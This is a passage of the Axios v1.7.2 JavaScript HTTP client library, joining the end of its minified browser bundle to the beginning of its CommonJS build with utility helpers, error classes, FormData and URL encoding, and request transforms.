Ct={Continue:100,SwitchingProtocols:101,Processing:102,EarlyHints:103,Ok:200,Created:201,Accepted:202,NonAuthoritativeInformation:203,NoContent:204,ResetContent:205,PartialContent:206,MultiStatus:207,AlreadyReported:208,ImUsed:226,MultipleChoices:300,MovedPermanently:301,Found:302,SeeOther:303,NotModified:304,UseProxy:305,Unused:306,TemporaryRedirect:307,PermanentRedirect:308,BadRequest:400,Unauthorized:401,PaymentRequired:402,Forbidden:403,NotFound:404,MethodNotAllowed:405,NotAcceptable:406,ProxyAuthenticationRequired:407,RequestTimeout:408,Conflict:409,Gone:410,LengthRequired:411,PreconditionFailed:412,PayloadTooLarge:413,UriTooLong:414,UnsupportedMediaType:415,RangeNotSatisfiable:416,ExpectationFailed:417,ImATeapot:418,MisdirectedRequest:421,UnprocessableEntity:422,Locked:423,FailedDependency:424,TooEarly:425,UpgradeRequired:426,PreconditionRequired:428,TooManyRequests:429,RequestHeaderFieldsTooLarge:431,UnavailableForLegalReasons:451,InternalServerError:500,NotImplemented:501,BadGateway:502,ServiceUnavailable:503,GatewayTimeout:504,HttpVersionNotSupported:505,VariantAlsoNegotiates:506,InsufficientStorage:507,LoopDetected:508,NotExtended:510,NetworkAuthenticationRequired:511};Object.entries(Ct).forEach((function(e){var t=m(e,2),r=t[0],n=t[1];Ct[n]=r}));var Ft=Ct;var Ut=function e(t){var r=new Nt(t),n=x(Nt.prototype.request,r);return ce.extend(n,Nt.prototype,r,{allOwnKeys:!0}),ce.extend(n,r,null,{allOwnKeys:!0}),n.create=function(r){return e(Ze(t,r))},n}(Ce);return Ut.Axios=Nt,Ut.CanceledError=Je,Ut.CancelToken=_t,Ut.isCancel=He,Ut.VERSION=Tt,Ut.toFormData=me,Ut.AxiosError=fe,Ut.Cancel=Ut.CanceledError,Ut.all=function(e){return Promise.all(e)},Ut.spread=function(e){return function(t){return e.apply(null,t)}},Ut.isAxiosError=function(e){return ce.isObject(e)&&!0===e.isAxiosError},Ut.mergeConfig=Ze,Ut.AxiosHeaders=ze,Ut.formToJSON=function(e){return Ne(ce.isHTMLForm(e)?new FormData(e):e)},Ut.getAdapter=St,Ut.HttpStatusCode=Ft,Ut.default=Ut,Ut})); //# sourceMappingURL=axios.min.js.map browser/axios.cjs000064400000271243151677271550010104 0ustar00// Axios v1.7.2 Copyright (c) 2024 Matt Zabriskie and contributors 'use strict'; function bind(fn, thisArg) { return function wrap() { return fn.apply(thisArg, arguments); }; } // utils is a library of generic helper functions non-specific to axios const {toString} = Object.prototype; const {getPrototypeOf} = Object; const kindOf = (cache => thing => { const str = toString.call(thing); return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase()); })(Object.create(null)); const kindOfTest = (type) => { type = type.toLowerCase(); return (thing) => kindOf(thing) === type }; const typeOfTest = type => thing => typeof thing === type; /** * Determine if a value is an Array * * @param {Object} val The value to test * * @returns {boolean} True if value is an Array, otherwise false */ const {isArray} = Array; /** * Determine if a value is undefined * * @param {*} val The value to test * * @returns {boolean} True if the value is undefined, otherwise false */ const isUndefined = typeOfTest('undefined'); /** * Determine if a value is a Buffer * * @param {*} val The value to test * * @returns {boolean} True if value is a Buffer, otherwise false */ function isBuffer(val) { return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor) && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val); } /** * Determine if a value is an ArrayBuffer * * @param {*} val The value to test * * @returns {boolean} True if value is an ArrayBuffer, otherwise false */ const isArrayBuffer = kindOfTest('ArrayBuffer'); /** * Determine if a value is a view on an ArrayBuffer * * @param {*} val The value to test * * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false */ function isArrayBufferView(val) { let result; if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) { result = ArrayBuffer.isView(val); } else { result = (val) && (val.buffer) && (isArrayBuffer(val.buffer)); } return result; } /** * Determine if a value is a String * * @param {*} val The value to test * * @returns {boolean} True if value is a String, otherwise false */ const isString = typeOfTest('string'); /** * Determine if a value is a Function * * @param {*} val The value to test * @returns {boolean} True if value is a Function, otherwise false */ const isFunction = typeOfTest('function'); /** * Determine if a value is a Number * * @param {*} val The value to test * * @returns {boolean} True if value is a Number, otherwise false */ const isNumber = typeOfTest('number'); /** * Determine if a value is an Object * * @param {*} thing The value to test * * @returns {boolean} True if value is an Object, otherwise false */ const isObject = (thing) => thing !== null && typeof thing === 'object'; /** * Determine if a value is a Boolean * * @param {*} thing The value to test * @returns {boolean} True if value is a Boolean, otherwise false */ const isBoolean = thing => thing === true || thing === false; /** * Determine if a value is a plain Object * * @param {*} val The value to test * * @returns {boolean} True if value is a plain Object, otherwise false */ const isPlainObject = (val) => { if (kindOf(val) !== 'object') { return false; } const prototype = getPrototypeOf(val); return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val); }; /** * Determine if a value is a Date * * @param {*} val The value to test * * @returns {boolean} True if value is a Date, otherwise false */ const isDate = kindOfTest('Date'); /** * Determine if a value is a File * * @param {*} val The value to test * * @returns {boolean} True if value is a File, otherwise false */ const isFile = kindOfTest('File'); /** * Determine if a value is a Blob * * @param {*} val The value to test * * @returns {boolean} True if value is a Blob, otherwise false */ const isBlob = kindOfTest('Blob'); /** * Determine if a value is a FileList * * @param {*} val The value to test * * @returns {boolean} True if value is a File, otherwise false */ const isFileList = kindOfTest('FileList'); /** * Determine if a value is a Stream * * @param {*} val The value to test * * @returns {boolean} True if value is a Stream, otherwise false */ const isStream = (val) => isObject(val) && isFunction(val.pipe); /** * Determine if a value is a FormData * * @param {*} thing The value to test * * @returns {boolean} True if value is an FormData, otherwise false */ const isFormData = (thing) => { let kind; return thing && ( (typeof FormData === 'function' && thing instanceof FormData) || ( isFunction(thing.append) && ( (kind = kindOf(thing)) === 'formdata' || // detect form-data instance (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]') ) ) ) }; /** * Determine if a value is a URLSearchParams object * * @param {*} val The value to test * * @returns {boolean} True if value is a URLSearchParams object, otherwise false */ const isURLSearchParams = kindOfTest('URLSearchParams'); const [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest); /** * Trim excess whitespace off the beginning and end of a string * * @param {String} str The String to trim * * @returns {String} The String freed of excess whitespace */ const trim = (str) => str.trim ? str.trim() : str.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, ''); /** * Iterate over an Array or an Object invoking a function for each item. * * If `obj` is an Array callback will be called passing * the value, index, and complete array for each item. * * If 'obj' is an Object callback will be called passing * the value, key, and complete object for each property. * * @param {Object|Array} obj The object to iterate * @param {Function} fn The callback to invoke for each item * * @param {Boolean} [allOwnKeys = false] * @returns {any} */ function forEach(obj, fn, {allOwnKeys = false} = {}) { // Don't bother if no value provided if (obj === null || typeof obj === 'undefined') { return; } let i; let l; // Force an array if not already something iterable if (typeof obj !== 'object') { /*eslint no-param-reassign:0*/ obj = [obj]; } if (isArray(obj)) { // Iterate over array values for (i = 0, l = obj.length; i < l; i++) { fn.call(null, obj[i], i, obj); } } else { // Iterate over object keys const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj); const len = keys.length; let key; for (i = 0; i < len; i++) { key = keys[i]; fn.call(null, obj[key], key, obj); } } } function findKey(obj, key) { key = key.toLowerCase(); const keys = Object.keys(obj); let i = keys.length; let _key; while (i-- > 0) { _key = keys[i]; if (key === _key.toLowerCase()) { return _key; } } return null; } const _global = (() => { /*eslint no-undef:0*/ if (typeof globalThis !== "undefined") return globalThis; return typeof self !== "undefined" ? self : (typeof window !== 'undefined' ? window : global) })(); const isContextDefined = (context) => !isUndefined(context) && context !== _global; /** * Accepts varargs expecting each argument to be an object, then * immutably merges the properties of each object and returns result. * * When multiple objects contain the same key the later object in * the arguments list will take precedence. * * Example: * * ```js * var result = merge({foo: 123}, {foo: 456}); * console.log(result.foo); // outputs 456 * ``` * * @param {Object} obj1 Object to merge * * @returns {Object} Result of all merge properties */ function merge(/* obj1, obj2, obj3, ... */) { const {caseless} = isContextDefined(this) && this || {}; const result = {}; const assignValue = (val, key) => { const targetKey = caseless && findKey(result, key) || key; if (isPlainObject(result[targetKey]) && isPlainObject(val)) { result[targetKey] = merge(result[targetKey], val); } else if (isPlainObject(val)) { result[targetKey] = merge({}, val); } else if (isArray(val)) { result[targetKey] = val.slice(); } else { result[targetKey] = val; } }; for (let i = 0, l = arguments.length; i < l; i++) { arguments[i] && forEach(arguments[i], assignValue); } return result; } /** * Extends object a by mutably adding to it the properties of object b. * * @param {Object} a The object to be extended * @param {Object} b The object to copy properties from * @param {Object} thisArg The object to bind function to * * @param {Boolean} [allOwnKeys] * @returns {Object} The resulting value of object a */ const extend = (a, b, thisArg, {allOwnKeys}= {}) => { forEach(b, (val, key) => { if (thisArg && isFunction(val)) { a[key] = bind(val, thisArg); } else { a[key] = val; } }, {allOwnKeys}); return a; }; /** * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM) * * @param {string} content with BOM * * @returns {string} content value without BOM */ const stripBOM = (content) => { if (content.charCodeAt(0) === 0xFEFF) { content = content.slice(1); } return content; }; /** * Inherit the prototype methods from one constructor into another * @param {function} constructor * @param {function} superConstructor * @param {object} [props] * @param {object} [descriptors] * * @returns {void} */ const inherits = (constructor, superConstructor, props, descriptors) => { constructor.prototype = Object.create(superConstructor.prototype, descriptors); constructor.prototype.constructor = constructor; Object.defineProperty(constructor, 'super', { value: superConstructor.prototype }); props && Object.assign(constructor.prototype, props); }; /** * Resolve object with deep prototype chain to a flat object * @param {Object} sourceObj source object * @param {Object} [destObj] * @param {Function|Boolean} [filter] * @param {Function} [propFilter] * * @returns {Object} */ const toFlatObject = (sourceObj, destObj, filter, propFilter) => { let props; let i; let prop; const merged = {}; destObj = destObj || {}; // eslint-disable-next-line no-eq-null,eqeqeq if (sourceObj == null) return destObj; do { props = Object.getOwnPropertyNames(sourceObj); i = props.length; while (i-- > 0) { prop = props[i]; if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) { destObj[prop] = sourceObj[prop]; merged[prop] = true; } } sourceObj = filter !== false && getPrototypeOf(sourceObj); } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype); return destObj; }; /** * Determines whether a string ends with the characters of a specified string * * @param {String} str * @param {String} searchString * @param {Number} [position= 0] * * @returns {boolean} */ const endsWith = (str, searchString, position) => { str = String(str); if (position === undefined || position > str.length) { position = str.length; } position -= searchString.length; const lastIndex = str.indexOf(searchString, position); return lastIndex !== -1 && lastIndex === position; }; /** * Returns new array from array like object or null if failed * * @param {*} [thing] * * @returns {?Array} */ const toArray = (thing) => { if (!thing) return null; if (isArray(thing)) return thing; let i = thing.length; if (!isNumber(i)) return null; const arr = new Array(i); while (i-- > 0) { arr[i] = thing[i]; } return arr; }; /** * Checking if the Uint8Array exists and if it does, it returns a function that checks if the * thing passed in is an instance of Uint8Array * * @param {TypedArray} * * @returns {Array} */ // eslint-disable-next-line func-names const isTypedArray = (TypedArray => { // eslint-disable-next-line func-names return thing => { return TypedArray && thing instanceof TypedArray; }; })(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array)); /** * For each entry in the object, call the function with the key and value. * * @param {Object<any, any>} obj - The object to iterate over. * @param {Function} fn - The function to call for each entry. * * @returns {void} */ const forEachEntry = (obj, fn) => { const generator = obj && obj[Symbol.iterator]; const iterator = generator.call(obj); let result; while ((result = iterator.next()) && !result.done) { const pair = result.value; fn.call(obj, pair[0], pair[1]); } }; /** * It takes a regular expression and a string, and returns an array of all the matches * * @param {string} regExp - The regular expression to match against. * @param {string} str - The string to search. * * @returns {Array<boolean>} */ const matchAll = (regExp, str) => { let matches; const arr = []; while ((matches = regExp.exec(str)) !== null) { arr.push(matches); } return arr; }; /* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */ const isHTMLForm = kindOfTest('HTMLFormElement'); const toCamelCase = str => { return str.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g, function replacer(m, p1, p2) { return p1.toUpperCase() + p2; } ); }; /* Creating a function that will check if an object has a property. */ const hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype); /** * Determine if a value is a RegExp object * * @param {*} val The value to test * * @returns {boolean} True if value is a RegExp object, otherwise false */ const isRegExp = kindOfTest('RegExp'); const reduceDescriptors = (obj, reducer) => { const descriptors = Object.getOwnPropertyDescriptors(obj); const reducedDescriptors = {}; forEach(descriptors, (descriptor, name) => { let ret; if ((ret = reducer(descriptor, name, obj)) !== false) { reducedDescriptors[name] = ret || descriptor; } }); Object.defineProperties(obj, reducedDescriptors); }; /** * Makes all methods read-only * @param {Object} obj */ const freezeMethods = (obj) => { reduceDescriptors(obj, (descriptor, name) => { // skip restricted props in strict mode if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) { return false; } const value = obj[name]; if (!isFunction(value)) return; descriptor.enumerable = false; if ('writable' in descriptor) { descriptor.writable = false; return; } if (!descriptor.set) { descriptor.set = () => { throw Error('Can not rewrite read-only method \'' + name + '\''); }; } }); }; const toObjectSet = (arrayOrString, delimiter) => { const obj = {}; const define = (arr) => { arr.forEach(value => { obj[value] = true; }); }; isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter)); return obj; }; const noop = () => {}; const toFiniteNumber = (value, defaultValue) => { return value != null && Number.isFinite(value = +value) ? value : defaultValue; }; const ALPHA = 'abcdefghijklmnopqrstuvwxyz'; const DIGIT = '0123456789'; const ALPHABET = { DIGIT, ALPHA, ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT }; const generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => { let str = ''; const {length} = alphabet; while (size--) { str += alphabet[Math.random() * length|0]; } return str; }; /** * If the thing is a FormData object, return true, otherwise return false. * * @param {unknown} thing - The thing to check. * * @returns {boolean} */ function isSpecCompliantForm(thing) { return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]); } const toJSONObject = (obj) => { const stack = new Array(10); const visit = (source, i) => { if (isObject(source)) { if (stack.indexOf(source) >= 0) { return; } if(!('toJSON' in source)) { stack[i] = source; const target = isArray(source) ? [] : {}; forEach(source, (value, key) => { const reducedValue = visit(value, i + 1); !isUndefined(reducedValue) && (target[key] = reducedValue); }); stack[i] = undefined; return target; } } return source; }; return visit(obj, 0); }; const isAsyncFn = kindOfTest('AsyncFunction'); const isThenable = (thing) => thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch); var utils$1 = { isArray, isArrayBuffer, isBuffer, isFormData, isArrayBufferView, isString, isNumber, isBoolean, isObject, isPlainObject, isReadableStream, isRequest, isResponse, isHeaders, isUndefined, isDate, isFile, isBlob, isRegExp, isFunction, isStream, isURLSearchParams, isTypedArray, isFileList, forEach, merge, extend, trim, stripBOM, inherits, toFlatObject, kindOf, kindOfTest, endsWith, toArray, forEachEntry, matchAll, isHTMLForm, hasOwnProperty, hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection reduceDescriptors, freezeMethods, toObjectSet, toCamelCase, noop, toFiniteNumber, findKey, global: _global, isContextDefined, ALPHABET, generateString, isSpecCompliantForm, toJSONObject, isAsyncFn, isThenable }; /** * Create an Error with the specified message, config, error code, request and response. * * @param {string} message The error message. * @param {string} [code] The error code (for example, 'ECONNABORTED'). * @param {Object} [config] The config. * @param {Object} [request] The request. * @param {Object} [response] The response. * * @returns {Error} The created error. */ function AxiosError(message, code, config, request, response) { Error.call(this); if (Error.captureStackTrace) { Error.captureStackTrace(this, this.constructor); } else { this.stack = (new Error()).stack; } this.message = message; this.name = 'AxiosError'; code && (this.code = code); config && (this.config = config); request && (this.request = request); response && (this.response = response); } utils$1.inherits(AxiosError, Error, { toJSON: function toJSON() { return { // Standard message: this.message, name: this.name, // Microsoft description: this.description, number: this.number, // Mozilla fileName: this.fileName, lineNumber: this.lineNumber, columnNumber: this.columnNumber, stack: this.stack, // Axios config: utils$1.toJSONObject(this.config), code: this.code, status: this.response && this.response.status ? this.response.status : null }; } }); const prototype$1 = AxiosError.prototype; const descriptors = {}; [ 'ERR_BAD_OPTION_VALUE', 'ERR_BAD_OPTION', 'ECONNABORTED', 'ETIMEDOUT', 'ERR_NETWORK', 'ERR_FR_TOO_MANY_REDIRECTS', 'ERR_DEPRECATED', 'ERR_BAD_RESPONSE', 'ERR_BAD_REQUEST', 'ERR_CANCELED', 'ERR_NOT_SUPPORT', 'ERR_INVALID_URL' // eslint-disable-next-line func-names ].forEach(code => { descriptors[code] = {value: code}; }); Object.defineProperties(AxiosError, descriptors); Object.defineProperty(prototype$1, 'isAxiosError', {value: true}); // eslint-disable-next-line func-names AxiosError.from = (error, code, config, request, response, customProps) => { const axiosError = Object.create(prototype$1); utils$1.toFlatObject(error, axiosError, function filter(obj) { return obj !== Error.prototype; }, prop => { return prop !== 'isAxiosError'; }); AxiosError.call(axiosError, error.message, code, config, request, response); axiosError.cause = error; axiosError.name = error.name; customProps && Object.assign(axiosError, customProps); return axiosError; }; // eslint-disable-next-line strict var httpAdapter = null; /** * Determines if the given thing is a array or js object. * * @param {string} thing - The object or array to be visited. * * @returns {boolean} */ function isVisitable(thing) { return utils$1.isPlainObject(thing) || utils$1.isArray(thing); } /** * It removes the brackets from the end of a string * * @param {string} key - The key of the parameter. * * @returns {string} the key without the brackets. */ function removeBrackets(key) { return utils$1.endsWith(key, '[]') ? key.slice(0, -2) : key; } /** * It takes a path, a key, and a boolean, and returns a string * * @param {string} path - The path to the current key. * @param {string} key - The key of the current object being iterated over. * @param {string} dots - If true, the key will be rendered with dots instead of brackets. * * @returns {string} The path to the current key. */ function renderKey(path, key, dots) { if (!path) return key; return path.concat(key).map(function each(token, i) { // eslint-disable-next-line no-param-reassign token = removeBrackets(token); return !dots && i ? '[' + token + ']' : token; }).join(dots ? '.' : ''); } /** * If the array is an array and none of its elements are visitable, then it's a flat array. * * @param {Array<any>} arr - The array to check * * @returns {boolean} */ function isFlatArray(arr) { return utils$1.isArray(arr) && !arr.some(isVisitable); } const predicates = utils$1.toFlatObject(utils$1, {}, null, function filter(prop) { return /^is[A-Z]/.test(prop); }); /** * Convert a data object to FormData * * @param {Object} obj * @param {?Object} [formData] * @param {?Object} [options] * @param {Function} [options.visitor] * @param {Boolean} [options.metaTokens = true] * @param {Boolean} [options.dots = false] * @param {?Boolean} [options.indexes = false] * * @returns {Object} **/ /** * It converts an object into a FormData object * * @param {Object<any, any>} obj - The object to convert to form data. * @param {string} formData - The FormData object to append to. * @param {Object<string, any>} options * * @returns */ function toFormData(obj, formData, options) { if (!utils$1.isObject(obj)) { throw new TypeError('target must be an object'); } // eslint-disable-next-line no-param-reassign formData = formData || new (FormData)(); // eslint-disable-next-line no-param-reassign options = utils$1.toFlatObject(options, { metaTokens: true, dots: false, indexes: false }, false, function defined(option, source) { // eslint-disable-next-line no-eq-null,eqeqeq return !utils$1.isUndefined(source[option]); }); const metaTokens = options.metaTokens; // eslint-disable-next-line no-use-before-define const visitor = options.visitor || defaultVisitor; const dots = options.dots; const indexes = options.indexes; const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob; const useBlob = _Blob && utils$1.isSpecCompliantForm(formData); if (!utils$1.isFunction(visitor)) { throw new TypeError('visitor must be a function'); } function convertValue(value) { if (value === null) return ''; if (utils$1.isDate(value)) { return value.toISOString(); } if (!useBlob && utils$1.isBlob(value)) { throw new AxiosError('Blob is not supported. Use a Buffer instead.'); } if (utils$1.isArrayBuffer(value) || utils$1.isTypedArray(value)) { return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value); } return value; } /** * Default visitor. * * @param {*} value * @param {String|Number} key * @param {Array<String|Number>} path * @this {FormData} * * @returns {boolean} return true to visit the each prop of the value recursively */ function defaultVisitor(value, key, path) { let arr = value; if (value && !path && typeof value === 'object') { if (utils$1.endsWith(key, '{}')) { // eslint-disable-next-line no-param-reassign key = metaTokens ? key : key.slice(0, -2); // eslint-disable-next-line no-param-reassign value = JSON.stringify(value); } else if ( (utils$1.isArray(value) && isFlatArray(value)) || ((utils$1.isFileList(value) || utils$1.endsWith(key, '[]')) && (arr = utils$1.toArray(value)) )) { // eslint-disable-next-line no-param-reassign key = removeBrackets(key); arr.forEach(function each(el, index) { !(utils$1.isUndefined(el) || el === null) && formData.append( // eslint-disable-next-line no-nested-ternary indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'), convertValue(el) ); }); return false; } } if (isVisitable(value)) { return true; } formData.append(renderKey(path, key, dots), convertValue(value)); return false; } const stack = []; const exposedHelpers = Object.assign(predicates, { defaultVisitor, convertValue, isVisitable }); function build(value, path) { if (utils$1.isUndefined(value)) return; if (stack.indexOf(value) !== -1) { throw Error('Circular reference detected in ' + path.join('.')); } stack.push(value); utils$1.forEach(value, function each(el, key) { const result = !(utils$1.isUndefined(el) || el === null) && visitor.call( formData, el, utils$1.isString(key) ? key.trim() : key, path, exposedHelpers ); if (result === true) { build(el, path ? path.concat(key) : [key]); } }); stack.pop(); } if (!utils$1.isObject(obj)) { throw new TypeError('data must be an object'); } build(obj); return formData; } /** * It encodes a string by replacing all characters that are not in the unreserved set with * their percent-encoded equivalents * * @param {string} str - The string to encode. * * @returns {string} The encoded string. */ function encode$1(str) { const charMap = { '!': '%21', "'": '%27', '(': '%28', ')': '%29', '~': '%7E', '%20': '+', '%00': '\x00' }; return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) { return charMap[match]; }); } /** * It takes a params object and converts it to a FormData object * * @param {Object<string, any>} params - The parameters to be converted to a FormData object. * @param {Object<string, any>} options - The options object passed to the Axios constructor. * * @returns {void} */ function AxiosURLSearchParams(params, options) { this._pairs = []; params && toFormData(params, this, options); } const prototype = AxiosURLSearchParams.prototype; prototype.append = function append(name, value) { this._pairs.push([name, value]); }; prototype.toString = function toString(encoder) { const _encode = encoder ? function(value) { return encoder.call(this, value, encode$1); } : encode$1; return this._pairs.map(function each(pair) { return _encode(pair[0]) + '=' + _encode(pair[1]); }, '').join('&'); }; /** * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their * URI encoded counterparts * * @param {string} val The value to be encoded. * * @returns {string} The encoded value. */ function encode(val) { return encodeURIComponent(val). replace(/%3A/gi, ':'). replace(/%24/g, '$'). replace(/%2C/gi, ','). replace(/%20/g, '+'). replace(/%5B/gi, '['). replace(/%5D/gi, ']'); } /** * Build a URL by appending params to the end * * @param {string} url The base of the url (e.g., http://www.google.com) * @param {object} [params] The params to be appended * @param {?object} options * * @returns {string} The formatted url */ function buildURL(url, params, options) { /*eslint no-param-reassign:0*/ if (!params) { return url; } const _encode = options && options.encode || encode; const serializeFn = options && options.serialize; let serializedParams; if (serializeFn) { serializedParams = serializeFn(params, options); } else { serializedParams = utils$1.isURLSearchParams(params) ? params.toString() : new AxiosURLSearchParams(params, options).toString(_encode); } if (serializedParams) { const hashmarkIndex = url.indexOf("#"); if (hashmarkIndex !== -1) { url = url.slice(0, hashmarkIndex); } url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams; } return url; } class InterceptorManager { constructor() { this.handlers = []; } /** * Add a new interceptor to the stack * * @param {Function} fulfilled The function to handle `then` for a `Promise` * @param {Function} rejected The function to handle `reject` for a `Promise` * * @return {Number} An ID used to remove interceptor later */ use(fulfilled, rejected, options) { this.handlers.push({ fulfilled, rejected, synchronous: options ? options.synchronous : false, runWhen: options ? options.runWhen : null }); return this.handlers.length - 1; } /** * Remove an interceptor from the stack * * @param {Number} id The ID that was returned by `use` * * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise */ eject(id) { if (this.handlers[id]) { this.handlers[id] = null; } } /** * Clear all interceptors from the stack * * @returns {void} */ clear() { if (this.handlers) { this.handlers = []; } } /** * Iterate over all the registered interceptors * * This method is particularly useful for skipping over any * interceptors that may have become `null` calling `eject`. * * @param {Function} fn The function to call for each interceptor * * @returns {void} */ forEach(fn) { utils$1.forEach(this.handlers, function forEachHandler(h) { if (h !== null) { fn(h); } }); } } var InterceptorManager$1 = InterceptorManager; var transitionalDefaults = { silentJSONParsing: true, forcedJSONParsing: true, clarifyTimeoutError: false }; var URLSearchParams$1 = typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams; var FormData$1 = typeof FormData !== 'undefined' ? FormData : null; var Blob$1 = typeof Blob !== 'undefined' ? Blob : null; var platform$1 = { isBrowser: true, classes: { URLSearchParams: URLSearchParams$1, FormData: FormData$1, Blob: Blob$1 }, protocols: ['http', 'https', 'file', 'blob', 'url', 'data'] }; const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined'; /** * Determine if we're running in a standard browser environment * * This allows axios to run in a web worker, and react-native. * Both environments support XMLHttpRequest, but not fully standard globals. * * web workers: * typeof window -> undefined * typeof document -> undefined * * react-native: * navigator.product -> 'ReactNative' * nativescript * navigator.product -> 'NativeScript' or 'NS' * * @returns {boolean} */ const hasStandardBrowserEnv = ( (product) => { return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0 })(typeof navigator !== 'undefined' && navigator.product); /** * Determine if we're running in a standard browser webWorker environment * * Although the `isStandardBrowserEnv` method indicates that * `allows axios to run in a web worker`, the WebWorker will still be * filtered out due to its judgment standard * `typeof window !== 'undefined' && typeof document !== 'undefined'`. * This leads to a problem when axios post `FormData` in webWorker */ const hasStandardBrowserWebWorkerEnv = (() => { return ( typeof WorkerGlobalScope !== 'undefined' && // eslint-disable-next-line no-undef self instanceof WorkerGlobalScope && typeof self.importScripts === 'function' ); })(); const origin = hasBrowserEnv && window.location.href || 'http://localhost'; var utils = /*#__PURE__*/Object.freeze({ __proto__: null, hasBrowserEnv: hasBrowserEnv, hasStandardBrowserWebWorkerEnv: hasStandardBrowserWebWorkerEnv, hasStandardBrowserEnv: hasStandardBrowserEnv, origin: origin }); var platform = { ...utils, ...platform$1 }; function toURLEncodedForm(data, options) { return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({ visitor: function(value, key, path, helpers) { if (platform.isNode && utils$1.isBuffer(value)) { this.append(key, value.toString('base64')); return false; } return helpers.defaultVisitor.apply(this, arguments); } }, options)); } /** * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z'] * * @param {string} name - The name of the property to get. * * @returns An array of strings. */ function parsePropPath(name) { // foo[x][y][z] // foo.x.y.z // foo-x-y-z // foo x y z return utils$1.matchAll(/\w+|\[(\w*)]/g, name).map(match => { return match[0] === '[]' ? '' : match[1] || match[0]; }); } /** * Convert an array to an object. * * @param {Array<any>} arr - The array to convert to an object. * * @returns An object with the same keys and values as the array. */ function arrayToObject(arr) { const obj = {}; const keys = Object.keys(arr); let i; const len = keys.length; let key; for (i = 0; i < len; i++) { key = keys[i]; obj[key] = arr[key]; } return obj; } /** * It takes a FormData object and returns a JavaScript object * * @param {string} formData The FormData object to convert to JSON. * * @returns {Object<string, any> | null} The converted object. */ function formDataToJSON(formData) { function buildPath(path, value, target, index) { let name = path[index++]; if (name === '__proto__') return true; const isNumericKey = Number.isFinite(+name); const isLast = index >= path.length; name = !name && utils$1.isArray(target) ? target.length : name; if (isLast) { if (utils$1.hasOwnProp(target, name)) { target[name] = [target[name], value]; } else { target[name] = value; } return !isNumericKey; } if (!target[name] || !utils$1.isObject(target[name])) { target[name] = []; } const result = buildPath(path, value, target[name], index); if (result && utils$1.isArray(target[name])) { target[name] = arrayToObject(target[name]); } return !isNumericKey; } if (utils$1.isFormData(formData) && utils$1.isFunction(formData.entries)) { const obj = {}; utils$1.forEachEntry(formData, (name, value) => { buildPath(parsePropPath(name), value, obj, 0); }); return obj; } return null; } /** * It takes a string, tries to parse it, and if it fails, it returns the stringified version * of the input * * @param {any} rawValue - The value to be stringified. * @param {Function} parser - A function that parses a string into a JavaScript object. * @param {Function} encoder - A function that takes a value and returns a string. * * @returns {string} A stringified version of the rawValue. */ function stringifySafely(rawValue, parser, encoder) { if (utils$1.isString(rawValue)) { try { (parser || JSON.parse)(rawValue); return utils$1.trim(rawValue); } catch (e) { if (e.name !== 'SyntaxError') { throw e; } } } return (encoder || JSON.stringify)(rawValue); } const defaults = { transitional: transitionalDefaults, adapter: ['xhr', 'http', 'fetch'], transformRequest: [function transformRequest(data, headers) { const contentType = headers.getContentType() || ''; const hasJSONContentType = contentType.indexOf('application/json') > -1; const isObjectPayload = utils$1.isObject(data); if (isObjectPayload && utils$1.isHTMLForm(data)) { data = new FormData(data); } const isFormData = utils$1.isFormData(data); if (isFormData) { return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data; } if (utils$1.isArrayBuffer(data) || utils$1.isBuffer(data) || utils$1.isStream(data) || utils$1.isFile(data) || utils$1.isBlob(data) || utils$1.isReadableStream(data) ) { return data; } if (utils$1.isArrayBufferView(data)) { return data.buffer; } if (utils$1.isURLSearchParams(data)) { headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false); return data.toString(); } let isFileList; if (isObjectPayload) { if (contentType.indexOf('application/x-www-form-urlencoded') > -1) { return toURLEncodedForm(data, this.formSerializer).toString(); } if ((isFileList = utils$1.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) { const _FormData = this.env && this.env.FormData; return toFormData( isFileList ? {'files[]': data} : data, _FormData && new _FormData(), this.formSerializer ); } } if (isObjectPayload || hasJSONContentType ) { headers.setContentType('application/json', false); return stringifySafely(data); } return data; }], transformResponse: [function transformResponse(data) { const transitional = this.transitional || defaults.transitional; const 